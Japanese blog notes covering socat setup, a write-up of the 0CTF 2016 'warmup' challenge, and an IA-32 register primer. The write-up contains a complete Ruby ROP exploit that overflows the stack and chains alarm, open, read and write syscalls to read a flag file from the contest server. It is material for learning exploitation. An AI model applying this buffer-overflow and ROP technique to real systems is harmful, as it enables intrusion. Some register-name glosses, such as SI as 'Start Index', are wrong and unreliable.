socatのインストール

Ubuntuの方は、apt-getで入る.

sudo apt-get install socat

socatの使い方

ワンライナーで利用することができる。

$ socat TCP-LISTEN:ポート番号,reuseaddr,fork EXEC:./バイナリ名&

これで起動した後は、普段のexploitコードのhostとportを以下のように設定してあげれば良い.普段私はremoteのrをコマンドライン引数として渡した時のみremote先にexploitするようにif文で条件分岐させている。

# Exploitの例
# 例
host = "localhost"
port = 8888

if ARGV[0] == "r"
    # 例
    host = "remotehost"
    port = 52117       
end

0ctf 2016 warmup(Exploit2)

Cpawとして参加していましたが、1問も解けず😇😇😇
しかし、終了後に某プロのwriteupを見て(毎回とても助かっています.本当にありがとうございます).
すごく納得できたので、まとめておくと同時に初めて自分でシステムコールを呼び出す問題だったのでその点も含めてまとめようと思った.

下調べ

問題文

warmup for pwning!
Notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag 202.120.7.207 52608

サンドボックスなので、/bin配下が読めないかなーと推測することができる.したがってどうにかflagというファイルをopen->read->writeするという3ステップを踏む必要があると押さえておく.

バイナリとしてはこんな感じ.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

$ file warmup | sed -e 's/, /\n/g'
warmup: ELF 32-bit LSB  executable
Intel 80386
version 1 (SYSV)
statically linked
BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11
stripped

staticallyでstrippedという初心者の私にはつらいバイナリだった.

解析と方針

プログラム自体は,標準入力を受け取るだけ.
しかし32byteでBOFしてリターンアドレスを上書きすることがわかる.この時点でROPで行けそうという感じだったが, popNretがなかった.しかし代わりにadd_esp48というガジェットがあったのでこれを利用できそうだと考えることができる.espをずらすことで引数部分が上書きされるのを避けることができる.
(反省点: retだけじゃどうにもならないという硬い発想が邪魔してadd_espということに気づくことができなかったのが解けなかった原因だと思う)

gdbでいろいろ見ているとalarm, write, readという3つの関数でこのプログラムが構成されていることに気が付くと同時にopenがないことが明らかになる.つまり自力でopenシステムコールを呼ばなくてはいけないということだ.

だが,私はシステムコールについての知識があまりなかったので調べてみた.

システムコール システムコールとは、カーネルの機能を呼ぶためのものである.
writeやread,openなどそれらの機能であるが, 大抵のプログラミング言語ではラッパー関数のようなものが用意されている.
そして内部的にはint 0x80という命令がシステムコールを発行するらしい.
この時どのシステムコールを呼びだすかなどは引数によって決まるらしい.
x86においては以下のようになっていた.

レジスタ 用途
eax システムコール番号
ebx 第1引数
ecx 第2引数
edx 第3引数
esi 第4引数
edi 第5引数

またシステムコール番号は,ぐぐったりすれば出てくる.
ちなみにwriteは1, readは3, alarmは27である.

ためしにalarm関数の部分を見た.

gdb-peda$ x/3wi 0x804810d
0x804810d:   mov    eax,0x1b
0x8048112:   mov    ebx,DWORD PTR [esp+0x4] //10
0x8048116:   int    0x80

eaxに0x1b(=27)が入り, 第一引数のebxに値を入れて後、int 0x80命令を実行しており、調べた通りになっていた.

これらのことを踏まえるとopenシステムコールを呼ぶにはどうにか各レジスタに適切な値を入れなければいけない.具体的には,

open("/home/warmup/flag", 0)

のように呼ぶために, eaxに5, ebxにパス, ecxに0を入れる必要がある.

しかしeaxに任意の値を入れることが難しかったがkatagaitaiCTFの資料を見るとalarm関数を使うと(正確には関数の返り値)を用いることでeaxに値をセットできることを知った.またalarm関数は2回目以降は前回設定してから経過した秒数が返り値になるそうで、初回引数を10として実行しているので, 5秒待てば良いということがわかる.

openしたら、次にそのファイルディスクリプタ(0は標準入力、1は標準出力、2は標準エラー出力であることを考えると次の3が割り当てられるとかんがえられる)を利用してread(3, buffer, flag's length)、write(1, buffer, flag's length)すれば良い.

これらの方針を踏まえて以下のexploitコードを書いた.

Exploit

#coding: utf-8              
#Thanks @CharoIT!
#https://github.com/Charo-IT/pwnlib                              
require 'pwnlib.rb'

host = "localhost"
port = 8888

if ARGV[0] == "r"
  host = "202.120.7.207"
  port = 52608
end

# オーバフローさせる文字列を作成
def overflow(eip, b, c, d, e)
  "A" * 32 + [eip, b, c, d, e].pack("L*")
end

PwnTube.open(host, port) do |tube|

  tube.debug = true

  bss   = 0x8049000 # buffer
  exit  = 0x804814d 
  vuln  = 0x804815a # addesp_48
  read  = 0x804811d  
  write = 0x8048135
  alarm = 0x804810d
  syscall_arg3 = 0x8048122 #ebx, ecx, edx, int 0x80
  path = "/home/warmup/flag\x00"

  tube.recv_until("Welcome to 0CTF 2016!\n")

  #read(0, bss, flag_path_length)
  tube.send(overflow(read, vuln, 0, bss, path.length))
  tube.send(path)

  #alarm(10)->after 5s-> eax = 5
  sleep(5)

  #open("/home/warmup/flag", O_RDONLY)
  tube.send(overflow(alarm, syscall_arg3, vuln, bss, 0))

  #read(3, bss, flag_size)
  tube.send(overflow(read, vuln, 3, bss, 64))

  #write(1, bss, flag_size)
  tube.send(overflow(write, exit, 1, bss, 64))

  tube.interactive #=> 0ctf{welcome_it_is_pwning_time}
end

IA-32のレジスタの役割

今回は,PwnやReversingをするために必要そうなレジスタの知識をまとめてみる.逆アセンブル結果を見ていくうえでレジスタの知識は必要だと感じたからである.なお今回はx86アーキテクチャレジスタの話を見ていこうと思う.またタイトルにあるIA-32とはIntel PentiumAMD Athlon などの x86 系と総称されるプロセッサのことである.

レジスタ

レジスタ自身は特に,難しいことなくCPUが使用する変数だと考えれば良いと思う.x86アーキテクチャには,汎用レジスタと呼ばれるが8個ありEAX, EBX, ECX, EDX, ESI,EDI, EBP, ESPの合計8つである.

EAX

EAXは,算術計算と戻り値の保存に使われる.つまり,四則演算等があるときには,一種の変数として使われるので頻繁に見られるレジスタであると思う.また戻り値として,C言語

int ret10(){
    return 10;
}

などのコードがある時,この10という値はEAXに格納されるということだ.なおEAXのAは,Accumulatorの略である.

EBX

EBXは,特定の目的のために作られたレジスタとかではないので,レジスタがさらに必要にあるときになど使われる.EBXのBは,Baseの略である.

ECX

ECXは,ループ処理のカウンタとして使われる.C言語

for(int i = 0;i < 10; i++)

などのコードがあるときiと同じ役割をする.しかし逆アセンブル結果的にはインクリメントしていくわけではなく,事前にループ回数の値を格納しておき,デクリメントしていく処理になっている.またループカウンタが必要ないときは変数としても使用して良いとなっている.なお自明だがECXのCは,Countの略である.

EDX

EDXも,EAXと同様に変数の一種であるが戻り値の保存には使用されない.また,乗算や除算などでより複雑な演算が必要なときにも使われたりする.EDXのDは,Dataの略である.

ESI, EDI

この二つのレジスタは,EAXやEDXが主に演算処理に使われるのに対して,ESIやEDIは文字列やデータの繰り返し処理やメモリ内容の移動に使われる.もっと格式ばっか説明すると,ESIはスタートアドレスのインデックス,EDIはディストネーションアドレスのインデックスとして使われる.C言語のmemcpy関数を用いて説明すると,

memcpy(void* dest, void* src, size_t count)

のdestがEDI, srcがESIにあたる.また処理する値が大きくない限りESIとEDIは使われない.ESIのSIは,Start Index,EDIのDIは,Destinaton Indexの略である.

EBP, ESP

これらの二つのレジスタは,スタックの操作時に使われる.この二つはまた別の機会に詳しくまとめたいと思う.大雑把にいうなればESPはスタックのいちばん上のアドレスを格納し, EBPはスタックの底のアドレスを格納する.ESPのSPは,Stack Pointer, EBPのBPは,Base Pointerの略である.

その他の知識

ソースコード中にAXやALなどが見られることがある.これはレジスタをさらに細かい視点で見たときに表れるものである.以下の図を参照していただきたい.

EAXは32bitレジスタであり,AXはその下位16bitを表す.さらにAHとALはAX中の上位8bitと下位8bitを表す.AXのXはHexの略で,AHのHはHighの略で,ALのLはLowの略である.